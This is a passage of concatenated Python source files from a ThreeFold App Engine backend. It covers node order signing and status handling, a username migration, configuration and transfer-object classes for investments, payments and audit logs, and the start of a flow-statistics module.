order.odoo_sale_order_id = odoo_sale_order_id
order.put()
deferred.defer(_send_order_node_sign_message, app_user, order_id, pdf_url, attachment_name,
odoo_sale_order_name, pdf_size)
@returns()
@arguments(order_id=(int, long))
def _cancel_quotation(order_id):
def trans():
node_order = get_node_order(order_id)
if node_order.odoo_sale_order_id:
update_odoo_quotation(node_order.odoo_sale_order_id, {'state': QuotationState.CANCEL.value})
node_order.populate(status=NodeOrderStatus.CANCELED, cancel_time=now())
node_order.put()
ndb.transaction(trans)
@returns()
@arguments(app_user=users.User, order_id=(int, long), pdf_url=unicode, attachment_name=unicode, order_name=unicode,
pdf_size=(int, long))
def _send_order_node_sign_message(app_user, order_id, pdf_url, attachment_name, order_name, pdf_size):
logging.debug('Sending SIGN widget to app user')
widget = SignTO(algorithm=KEY_ALGORITHM,
key_name=KEY_NAME,
payload=base64.b64encode(pdf_url).decode('utf-8'))
form = SignFormTO(positive_button_ui_flags=Message.UI_FLAG_EXPECT_NEXT_WAIT_5,
widget=widget)
attachment = AttachmentTO(content_type=u'application/pdf',
download_url=pdf_url,
name=attachment_name,
size=pdf_size)
member_user, app_id = get_app_user_tuple(app_user)
members = [MemberTO(member=member_user.email(), app_id=app_id, alert_flags=0)]
tag = json.dumps({
u'__rt__.tag': u'sign_order_node_tos',
u'order_id': order_id
}).decode('utf-8')
flow_params = json.dumps({
'order_name': order_name,
'form': form.to_dict(),
'attachments': [attachment.to_dict()]
})
messaging.start_local_flow(get_tf_token_api_key(), None, members, None, tag=tag, context=None,
flow=FLOW_SIGN_HOSTING_AGREEMENT, flow_params=flow_params)
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def order_node_signed(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
try:
user_detail = user_details
tag_dict = json.loads(tag)
order = get_node_order(tag_dict['order_id'])
last_step = steps[-1]
if last_step.answer_id != FormTO.POSITIVE:
logging.info('Zero-Node order was canceled')
deferred.defer(_cancel_quotation, order.id)
return None
logging.info('Received signature for Zero-Node order')
sign_result = last_step.form_result.result.get_value()
assert isinstance(sign_result, SignWidgetResultTO)
iyo_username = get_username(user_detail)
logging.debug('Storing signature in DB')
order.populate(status=NodeOrderStatus.SIGNED,
signature=sign_result.payload_signature,
sign_time=now())
order.put()
# TODO: send mail to TF support
deferred.defer(update_hoster_progress, user_detail.email, user_detail.app_id, HosterSteps.FLOW_SIGN)
intercom_tags = get_intercom_tags_for_node_order(order)
for intercom_tag in intercom_tags:
deferred.defer(tag_intercom_users, intercom_tag, [iyo_username])
logging.debug('Sending confirmation message')
result = FlowCallbackResultTypeTO(flow=FLOW_HOSTER_SIGNATURE_RECEIVED,
tag=None,
force_language=None,
flow_params=json.dumps({'orderId': order.human_readable_id}))
return FlowMemberResultCallbackResultTO(type=TYPE_FLOW,
value=result)
except:
logging.exception('An unexpected error occurred')
return create_error_message()
@returns(NodeOrderTO)
@arguments(order_id=(int, long))
def get_node_order_details(order_id):
# type: (long) -> NodeOrderDetailsTO
return NodeOrderTO.from_model(get_node_order(order_id))
def _get_allowed_status(current_status):
# type: (long) -> list[long]
next_statuses = {
NodeOrderStatus.CANCELED: [],
NodeOrderStatus.WAITING_APPROVAL: [NodeOrderStatus.CANCELED, NodeOrderStatus.APPROVED],
NodeOrderStatus.APPROVED: [NodeOrderStatus.CANCELED, NodeOrderStatus.SIGNED],
NodeOrderStatus.SIGNED: [NodeOrderStatus.CANCELED, NodeOrderStatus.PAID],
NodeOrderStatus.PAID: [NodeOrderStatus.SENT],
NodeOrderStatus.SENT: [],
NodeOrderStatus.ARRIVED: [],
}
return next_statuses.get(current_status)
def _can_change_status(current_status, new_status):
# type: (long, long) -> bool
return new_status in _get_allowed_status(current_status)
@returns(NodeOrder)
@arguments(order_id=(int, long), order=NodeOrderTO)
def put_node_order(order_id, order):
# type: (long, NodeOrderTO) -> NodeOrder
order_model = get_node_order(order_id)
app_user = get_tff_profile(order_model.username).app_user
if order_model.status == NodeOrderStatus.CANCELED:
raise HttpBadRequestException('order_canceled')
if order.status not in (NodeOrderStatus.CANCELED, NodeOrderStatus.SENT, NodeOrderStatus.APPROVED,
NodeOrderStatus.PAID):
raise HttpBadRequestException('invalid_status')
# Only support updating the status for now
if order_model.status != order.status:
if not _can_change_status(order_model.status, order.status):
raise HttpBadRequestException('cannot_change_status',
{'from': order_model.status, 'to': order.status,
'allowed_new_statuses': _get_allowed_status(order_model.status)})
order_model.status = order.status
human_user, app_id = get_app_user_tuple(app_user)
if order_model.status == NodeOrderStatus.CANCELED:
order_model.cancel_time = now()
if order_model.odoo_sale_order_id:
deferred.defer(update_odoo_quotation, order_model.odoo_sale_order_id,
{'state': QuotationState.CANCEL.value})
deferred.defer(update_hoster_progress, human_user.email(), app_id,
HosterSteps.NODE_POWERED) # nuke todo list
deferred.defer(set_hoster_status_in_user_data, app_user, _countdown=2)
elif order_model.status == NodeOrderStatus.SENT:
if not order_model.odoo_sale_order_id or not get_nodes_from_odoo(order_model.odoo_sale_order_id):
raise HttpBadRequestException('cannot_mark_sent_no_serial_number_configured_yet',
{'sale_order': order_model.odoo_sale_order_id})
order_model.send_time = now()
deferred.defer(update_hoster_progress, human_user.email(), app_id, HosterSteps.NODE_SENT)
deferred.defer(_send_node_order_sent_message, order_id)
elif order_model.status == NodeOrderStatus.APPROVED:
deferred.defer(_create_node_order_pdf, order_id, app_user)
elif order_model.status == NodeOrderStatus.PAID:
deferred.defer(confirm_odoo_quotation, order_model.odoo_sale_order_id)
else:
logging.debug('Status was already %s, not doing anything', order_model.status)
order_model.put()
return order_model
def _inform_support_of_new_node_order(node_order_id):
node_order = get_node_order(node_order_id)
subject = 'New Node Order by %s' % node_order.billing_info.name
body = """Hello,
We just received a new Node order from %(name)s (IYO username %(iyo_username)s) with id %(node_order_id)s.
This order needs to be manually approved since this user has not invested more than %(tokens)s tokens yet via the app.
Check the old purchase agreements to verify if this user can sign up as a hoster and if not, contact him.
Please visit %(base_url)s/orders/%(node_order_id)s to approve or cancel this order.
""" % {
'name': node_order.billing_info.name,
'iyo_username': node_order.username,
'base_url': get_base_url(),
'node_order_id': node_order.id,
'tokens': REQUIRED_TOKEN_COUNT_TO_HOST
}
send_emails_to_support(subject, body)
def _send_node_order_sent_message(node_order_id):
node_order = get_node_order(node_order_id)
app_user = get_tff_profile(node_order.username).app_user
subject = u'ThreeFold node ready to ship out'
msg = u'Good news, your ThreeFold node (order id %s) has been prepared for shipment.' \
u' It will be handed over to our shipping partner soon.' \
u'\nThanks again for accepting hosting duties and helping to grow the ThreeFold Grid close to the users.' % \
node_order_id
send_message_and_email(app_user, msg, subject, get_grid_api_key())
def get_intercom_tags_for_node_order(order):
# type: (NodeOrder) -> list[IntercomTags]
if order.status in [NodeOrderStatus.ARRIVED, NodeOrderStatus.SENT, NodeOrderStatus.SIGNED, NodeOrderStatus.PAID]:
return [IntercomTags.HOSTER]
return []
def set_hoster_status_in_user_data(app_user, can_order=None):
# type: (users.User, bool) -> None
username = get_username(app_user)
if not isinstance(can_order, bool):
can_order = all(o.status == NodeOrderStatus.CANCELED for o in NodeOrder.list_by_user(username))
user_data = {
'hoster': {
'can_order': can_order
}
}
api_key = get_grid_api_key()
email, app_id = get_app_user_tuple(app_user)
current_user_data = system.get_user_data(api_key, email.email(), app_id, ['hoster'])
if current_user_data != user_data:
put_user_data(api_key, email.email(), app_id, user_data)
@returns(NodeOrder)
@arguments(data=CreateNodeOrderTO)
def create_node_order(data):
# type: (CreateNodeOrderTO) -> NodeOrder
profile = get_tff_profile(data.username)
if data.status not in (NodeOrderStatus.SIGNED, NodeOrderStatus.SENT, NodeOrderStatus.ARRIVED, NodeOrderStatus.PAID):
data.sign_time = MISSING
if data.status not in (NodeOrderStatus.SENT, NodeOrderStatus.ARRIVED):
data.send_time = MISSING
order_count = NodeOrder.list_by_so(data.odoo_sale_order_id).count()
if order_count > 0:
raise OrderAlreadyExistsException(data.odoo_sale_order_id)
try:
nodes = get_nodes_from_odoo(data.odoo_sale_order_id)
except (IndexError, TypeError):
logging.warn('Could not get nodes from odoo for order id %s' % data.odoo_sale_order_id, exc_info=True)
raise HttpBadRequestException('cannot_find_so_x', {'id': data.odoo_sale_order_id})
if not nodes:
raise HttpBadRequestException('no_serial_number_configured_yet',
{'sale_order': data.odoo_sale_order_id})
prefix, doc_content_base64 = data.document.split(',')
content_type = prefix.split(';')[0].replace('data:', '')
if content_type != 'application/pdf':
raise InvalidContentTypeException(content_type, ['application/pdf'])
doc_content = base64.b64decode(doc_content_base64)
order_key = NodeOrder.create_key()
pdf_name = NodeOrder.filename(order_key.id())
pdf_url = upload_to_gcs(pdf_name, doc_content, content_type)
order = NodeOrder(key=order_key,
**data.to_dict(exclude=['document']))
order.put()
deferred.defer(assign_nodes_to_user, order.username, nodes)
deferred.defer(set_hoster_status_in_user_data, profile.app_user, False)
deferred.defer(tag_intercom_users, IntercomTags.HOSTER, [order.username])
deferred.defer(_order_node_iyo_see, profile.app_user, order.id, pdf_url, len(doc_content), create_quotation=False)
return order
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_014_app_user_to_username.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import logging
from google.appengine.ext import ndb
from framework.bizz.job import run_job
from plugins.tff_backend.bizz.iyo.see import get_see_documents
from plugins.tff_backend.bizz.iyo.utils import get_iyo_organization_id, get_username
from plugins.tff_backend.models.document import Document
from plugins.tff_backend.models.hoster import NodeOrder
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.models.payment import ThreeFoldTransaction, ThreeFoldPendingTransaction
from plugins.tff_backend.models.user import TffProfile
def migrate(dry_run=False):
run_job(_get_all_users, [], migrate_documents, [dry_run])
def _get_all_users():
return TffProfile.query()
def migrate_documents(profile_key, dry_run):
# type: (ndb.Key, bool) -> None
username = profile_key.string_id()
tff_profile = profile_key.get() # type: TffProfile
iyo_organization_id = get_iyo_organization_id()
try:
see_docs = get_see_documents(iyo_organization_id, username)
except:
logging.exception('Could not get see documents for user %s', username)
see_docs = []
signatures = {doc.uniqueid: doc.signature for doc in see_docs if doc.signature}
to_put = []
for document in Document.list_by_username(username): # type: Document
if not document.signature and document.iyo_see_id in signatures:
document.signature = signatures[document.iyo_see_id]
to_put.append(document)
for node_order in NodeOrder.query(NodeOrder.app_user == tff_profile.app_user): # type: NodeOrder
if not node_order.signature and node_order.tos_iyo_see_id in signatures:
node_order.signature = signatures[node_order.tos_iyo_see_id]
node_order.username = username
del node_order.app_user
to_put.append(node_order)
for agreement in InvestmentAgreement.query(
InvestmentAgreement.app_user == tff_profile.app_user): # type: InvestmentAgreement
if not agreement.signature and agreement.iyo_see_id in signatures:
agreement.signature = signatures[agreement.iyo_see_id]
agreement.username = username
del agreement.app_user
to_put.append(agreement)
for trans_type in [ThreeFoldTransaction, ThreeFoldPendingTransaction]:
for transaction in trans_type.query().filter(trans_type.app_users == tff_profile.app_user):
if transaction.from_user:
transaction.from_username = get_username(transaction.from_user)
if transaction.to_user:
transaction.to_username = get_username(transaction.to_user)
transaction.usernames = [get_username(u) for u in transaction.app_users]
del transaction.from_user
del transaction.to_user
del transaction.app_users
to_put.append(transaction)
if dry_run:
logging.info(to_put)
else:
ndb.put_multi(to_put)
|
threefoldfoundation/app_backend | plugins/tff_backend/configuration.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.to import TO
from mcfw.properties import unicode_property, typed_property, long_property, unicode_list_property, bool_property
class RogerthatConfiguration(TO):
token_api_key = unicode_property('1')
token_sik = unicode_property('2')
grid_api_key = unicode_property('grid_api_key')
grid_sik = unicode_property('grid_sik')
mazraa_api_key = unicode_property('mazraa_api_key')
mazraa_sik = unicode_property('mazraa_sik')
url = unicode_property('3')
payment_secret = unicode_property('4')
app_id = unicode_property('app_id')
class OdooConfiguration(TO):
url = unicode_property('1')
database = unicode_property('2')
username = unicode_property('3')
password = unicode_property('4')
incoterm = long_property('5')
payment_term = long_property('6')
product_ids = typed_property('product_ids', dict) # key: the node's socket type, value: product id
class OnfidoConfiguration(TO):
api_key = unicode_property('api_key')
class InfluxDBConfig(TO):
host = unicode_property('host')
ssl = bool_property('ssl')
port = long_property('port')
database = unicode_property('database')
username = unicode_property('username')
password = unicode_property('password')
class TelegramConfig(TO):
bot_token = unicode_property('bot_token')
chat_id = long_property('chat_id')
class TffConfiguration(TO):
"""
Args:
rogerthat(RogerthatConfiguration)
ledger(LedgerConfiguration)
odoo(OdooConfiguration)
support_emails(list[string])
orchestator(OrchestatorConfiguration)
investor(InvestorConfiguration)
apple(AppleConfiguration)
backup_bucket(bool)
intercom_admin_id(unicode)
cloudstorage_encryption_key(unicode)
onfido(OnfidoConfiguration)
influxdb(InfluxDBConfig)
"""
rogerthat = typed_property('1', RogerthatConfiguration, False)
odoo = typed_property('4', OdooConfiguration, False)
support_emails = unicode_list_property('support_emails')
backup_bucket = unicode_property('backup_bucket')
intercom_admin_id = long_property('intercom_admin_id')
cloudstorage_encryption_key = unicode_property('cloudstorage_encryption_key')
exchangerate_key = unicode_property('exchangerate_key')
onfido = typed_property('onfido', OnfidoConfiguration)
influxdb = typed_property('influxdb', InfluxDBConfig)
telegram = typed_property('telegram', TelegramConfig)
|
threefoldfoundation/app_backend | plugins/tff_backend/to/investor.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from types import NoneType
from google.appengine.api import search
from google.appengine.ext import ndb
from framework.to import TO
from mcfw.properties import long_property, unicode_property, typed_property, float_property
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.to import PaginatedResultTO
from plugins.tff_backend.to.iyo.see import IYOSeeDocument
class InvestmentAgreementTO(TO):
id = long_property('id')
username = unicode_property('username')
amount = float_property('amount')
referrer = unicode_property('referrer')
token = unicode_property('token')
token_count = long_property('token_count')
token_count_float = float_property('token_count_float')
token_precision = float_property('token_precision')
currency = unicode_property('currency')
name = unicode_property('name')
address = unicode_property('address')
iyo_see_id = unicode_property('iyo_see_id')
signature_payload = unicode_property('signature_payload')
signature = unicode_property('signature')
status = long_property('status')
creation_time = long_property('creation_time')
sign_time = long_property('sign_time')
paid_time = long_property('paid_time')
cancel_time = long_property('cancel_time')
modification_time = long_property('modification_time')
reference = unicode_property('reference')
document_url = unicode_property('document_url')
class InvestmentAgreementDetailTO(InvestmentAgreementTO):
username = unicode_property('username')
class CreateInvestmentAgreementTO(TO):
username = unicode_property('username')
amount = float_property('amount')
currency = unicode_property('currency')
document = unicode_property('document')
token = unicode_property('token')
status = long_property('status')
sign_time = long_property('sign_time')
paid_time = long_property('paid_time')
class InvestmentAgreementDetailsTO(InvestmentAgreementTO):
see_document = typed_property('see_document', IYOSeeDocument)
@classmethod
def from_model(cls, model, see_document=None):
# type: (InvestmentAgreement, IYOSeeDocument) -> cls
assert isinstance(model, InvestmentAgreement)
to = super(InvestmentAgreementDetailsTO, cls).from_model(model)
to.see_document = see_document
return to
class InvestmentAgreementListTO(PaginatedResultTO):
results = typed_property('results', InvestmentAgreementTO, True)
@classmethod
def from_query(cls, models, cursor, more):
assert isinstance(cursor, (ndb.Cursor, NoneType))
results = [InvestmentAgreementTO.from_model(model) for model in models]
return cls(cursor and cursor.to_websafe_string().decode('utf-8'), more, results)
@classmethod
def from_search(cls, models, cursor, more):
# type: (list[InvestmentAgreement], search.Cursor, bool) -> object
assert isinstance(cursor, (search.Cursor, NoneType))
orders = [InvestmentAgreementTO.from_model(model) for model in models]
return cls(cursor and cursor.web_safe_string.decode('utf-8'), more, orders)
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_012_ensure_role.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from framework.bizz.job import run_job
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.tff_backend.bizz.authentication import RogerthatRoles
from plugins.tff_backend.bizz.service import add_user_to_role, remove_user_from_role
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.utils.app import get_app_user_tuple
def migrate():
run_job(_get_users, [], _ensure_role, [])
def _get_users():
return TffProfile.query()
def _ensure_role(profile_key):
profile = profile_key.get() # type: TffProfile
user, app_id = get_app_user_tuple(profile.app_user)
user_detail = UserDetailsTO(email=user.email(), app_id=app_id)
add_user_to_role(user_detail, RogerthatRoles.MEMBERS)
remove_user_from_role(user_detail, u'public')
|
threefoldfoundation/app_backend | plugins/tff_backend/consts/payment.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from plugins.rogerthat_api.plugin_utils import Enum
PROVIDER_ID = u"threefold"
TOKEN_ITFT = u"iTFT"
TOKEN_TFT = u"TFT"
TOKEN_TFT_CONTRIBUTOR = u"TFTC"
class TokenType(Enum):
A = u'TFT_A'
B = u'TFT_B'
C = u'TFT_C'
D = u'TFT_D'
I = u'iTFT_A'
class TransactionStatus(Enum):
UNCONFIRMED = u'unconfirmed'
CONFIRMED = u'confirmed'
FAILED = u'failed'
COIN_TO_HASTINGS_PRECISION = 9
COIN_TO_HASTINGS = pow(10, COIN_TO_HASTINGS_PRECISION)
|
threefoldfoundation/app_backend | plugins/tff_backend/to/audit.py | <filename>plugins/tff_backend/to/audit.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.models.common import NdbModel
from framework.to import TO
from mcfw.properties import unicode_property, typed_property
from mcfw.rpc import parse_complex_value
from plugins.tff_backend.bizz.audit.mapping import AuditLogType
from plugins.tff_backend.to import PaginatedResultTO
from plugins.tff_backend.to.agenda import EventTO
from plugins.tff_backend.to.global_stats import GlobalStatsTO
from plugins.tff_backend.to.investor import InvestmentAgreementTO
from plugins.tff_backend.to.nodes import NodeOrderTO, AuditLogNodeTO
from plugins.tff_backend.to.user import TffProfileTO
AUDIT_LOG_TYPE_MAPPING = {
AuditLogType.UPDATE_NODE_ORDER.value: NodeOrderTO,
AuditLogType.UPDATE_GLOBAL_STATS.value: GlobalStatsTO,
AuditLogType.UPDATE_INVESTMENT_AGREEMENT.value: InvestmentAgreementTO,
AuditLogType.UPDATE_AGENDA_EVENT.value: EventTO,
AuditLogType.SET_KYC_STATUS.value: TffProfileTO,
AuditLogType.UPDATE_NODE.value: AuditLogNodeTO,
}
class AuditLogTO(TO):
timestamp = unicode_property('timestamp')
audit_type = unicode_property('audit_type')
reference = unicode_property('reference')
user_id = unicode_property('user_id')
data = typed_property('data', dict)
class AuditLogDetailsTO(AuditLogTO):
reference = typed_property('reference', TO, subtype_attr_name='audit_type', subtype_mapping=AUDIT_LOG_TYPE_MAPPING)
@classmethod
def from_model(cls, model, reference_model=None):
# type: (NdbModel, NdbModel) -> AuditLogDetailsTO
props = model.to_dict()
props['reference'] = reference_model.to_dict() if reference_model else None
return parse_complex_value(cls, props, False)
class AuditLogDetailsListTO(PaginatedResultTO):
results = typed_property('results', AuditLogDetailsTO, True)
def __init__(self, cursor=None, more=False, results=None):
super(AuditLogDetailsListTO, self).__init__(cursor, more)
self.results = results or []
|
threefoldfoundation/app_backend | plugins/tff_backend/api/global_stats.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.audit.audit import audit
from plugins.tff_backend.bizz.audit.mapping import AuditLogType
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.bizz.global_stats import list_global_stats, get_global_stats, put_global_stats
from plugins.tff_backend.to.global_stats import GlobalStatsTO
@rest('/global-stats', 'get', Scopes.BACKEND_READONLY, silent_result=True)
@returns([GlobalStatsTO])
@arguments()
def api_list_global_stats():
return [GlobalStatsTO.from_model(model) for model in list_global_stats()]
@rest('/global-stats/<stats_id:[^/]+>', 'get', Scopes.BACKEND_READONLY)
@returns(GlobalStatsTO)
@arguments(stats_id=unicode)
def api_get_global_stat(stats_id):
return GlobalStatsTO.from_model(get_global_stats(stats_id))
@audit(AuditLogType.UPDATE_GLOBAL_STATS, 'stats_id')
@rest('/global-stats/<stats_id:[^/]+>', 'put', Scopes.BACKEND_ADMIN)
@returns(GlobalStatsTO)
@arguments(stats_id=unicode, data=GlobalStatsTO)
def api_put_global_stats(stats_id, data):
return GlobalStatsTO.from_model(put_global_stats(stats_id, data))
|
threefoldfoundation/app_backend | plugins/tff_backend/to/payment.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from types import NoneType
from google.appengine.ext import ndb
from framework.to import TO
from mcfw.properties import long_property, unicode_property, typed_property, bool_property, float_property, \
long_list_property, unicode_list_property
from plugins.tff_backend.to import PaginatedResultTO
class PaymentAssetRequiredActionTO(TO):
action = unicode_property('1')
description = unicode_property('2')
data = unicode_property('3')
class PaymentAssetBalanceTO(TO):
amount = long_property('1')
description = unicode_property('2')
precision = long_property('3')
class PaymentProviderAssetTO(TO):
provider_id = unicode_property('1')
id = unicode_property('2')
type = unicode_property('3')
name = unicode_property('4')
currency = unicode_property('5')
available_balance = typed_property('6', PaymentAssetBalanceTO)
total_balance = typed_property('7', PaymentAssetBalanceTO)
verified = bool_property('8')
enabled = bool_property('9')
has_balance = bool_property('10')
has_transactions = bool_property('11')
required_action = typed_property('12', PaymentAssetRequiredActionTO)
class PublicPaymentProviderTransactionTO(object):
id = unicode_property('1')
timestamp = long_property('2')
currency = unicode_property('3')
amount = long_property('4')
precision = long_property('5')
status = unicode_property('6')
class PaymentProviderTransactionTO(TO):
id = unicode_property('1')
type = unicode_property('2')
name = unicode_property('3')
amount = long_property('4')
currency = unicode_property('5')
memo = unicode_property('6')
timestamp = long_property('7')
from_asset_id = unicode_property('8')
to_asset_id = unicode_property('9')
precision = long_property('10')
class GetPaymentTransactionsResponseTO(TO):
cursor = unicode_property('1', default=None)
transactions = typed_property('2', PaymentProviderTransactionTO, True)
class CreateTransactionResponseTO(TO):
status = unicode_property('1')
class BaseTransactionTO(TO):
timestamp = long_property('timestamp')
unlock_timestamps = long_list_property('unlock_timestamps')
unlock_amounts = long_list_property('unlock_amounts')
token = unicode_property('token')
token_type = unicode_property('token_type')
amount = long_property('amount')
memo = unicode_property('memo')
app_users = unicode_list_property('app_users')
from_user = unicode_property('from_user')
to_user = unicode_property('to_user')
class PendingTransactionTO(BaseTransactionTO):
id = unicode_property('id')
synced = bool_property('synced')
synced_status = unicode_property('synced_status')
class TransactionTO(BaseTransactionTO):
id = long_property('id')
amount_left = long_property('amount_left')
height = long_property('height')
fully_spent = bool_property('fully_spent')
class PendingTransactionListTO(PaginatedResultTO):
results = typed_property('results', PendingTransactionTO, True)
@classmethod
def from_query(cls, models, cursor, more):
# type: (list[PendingTransaction], unicode, boolean) -> PendingTransactionListTO
assert isinstance(cursor, (ndb.Cursor, NoneType))
results = [PendingTransactionTO.from_model(model) for model in models]
return cls(cursor and cursor.to_websafe_string().decode('utf-8'), more, results)
class WalletBalanceTO(TO):
available = long_property('available')
total = long_property('total')
description = unicode_property('description')
token = unicode_property('token')
precision = long_property('precision')
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/flow_statistics.py | <filename>plugins/tff_backend/bizz/flow_statistics.py
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import logging
from datetime import datetime
from google.appengine.ext import ndb, deferred
import dateutil
from dateutil import relativedelta
from framework.bizz.job import run_job
from framework.consts import get_base_url
from framework.utils import try_or_defer
from mcfw.exceptions import HttpNotFoundException
from mcfw.properties import object_factory
from mcfw.rpc import arguments, parse_complex_value
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.rogerthat_api.to.messaging.flow import MessageFlowStepTO, FormFlowStepTO, FLOW_STEP_MAPPING
from plugins.rogerthat_api.to.messaging.service_callback_results import FlowMemberResultCallbackResultTO, \
FlowCallbackResultTypeTO, FormCallbackResultTypeTO, MessageCallbackResultTypeTO
from plugins.tff_backend.bizz.email import send_emails_to_support
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.user import get_tff_profile
from plugins.tff_backend.firebase import put_firebase_data
from plugins.tff_backend.models.statistics import FlowRun, FlowRunStatus, FlowRunStatistics, StepStatistics
from plugins.tff_backend.to.dashboard import TickerEntryTO, TickerEntryType
from plugins.tff_backend.utils import get_key_name_from_key_string
@ndb.non_transactional()
def _create_flow_run(flow_run_key, tag, message_flow_name, user_details, timestamp):
return FlowRun(key=flow_run_key,
tag=tag,
flow_name=message_flow_name,
start_date=datetime.utcfromtimestamp(timestamp),
user=get_username(user_details),
status=FlowRunStatus.STARTED)
@ndb.transactional(xg=True)
@arguments(parent_message_key=unicode, steps=[(MessageFlowStepTO, FormFlowStepTO)], end_id=unicode, tag=unicode,
flush_id=unicode, flush_message_flow_id=unicode, user_details=UserDetailsTO, timestamp=(int, long),
next_step=FlowMemberResultCallbackResultTO)
def save_flow_statistics(parent_message_key, steps, end_id, tag, flush_id, flush_message_flow_id, user_details,
timestamp, next_step):
message_flow_name = get_key_name_from_key_string(flush_message_flow_id)
flow_run_key = FlowRun.create_key(parent_message_key)
flow_run = flow_run_key.get() # type: FlowRun
if not flow_run:
if not message_flow_name:
logging.warn('Ignoring callback since we could not determine the message flow name')
return
flow_run_status = FlowRunStatus.STARTED
flow_run = _create_flow_run(flow_run_key, tag, message_flow_name, user_details, timestamp)
else:
# In case one statistics task runs before the other
steps = merge_steps(flow_run, steps)
if len(flow_run.steps) > len(steps):
logging.info('Ignoring callback since all steps have already been saved')
return
# Once canceled or finished, always canceled or finished. Rest can still be changed.
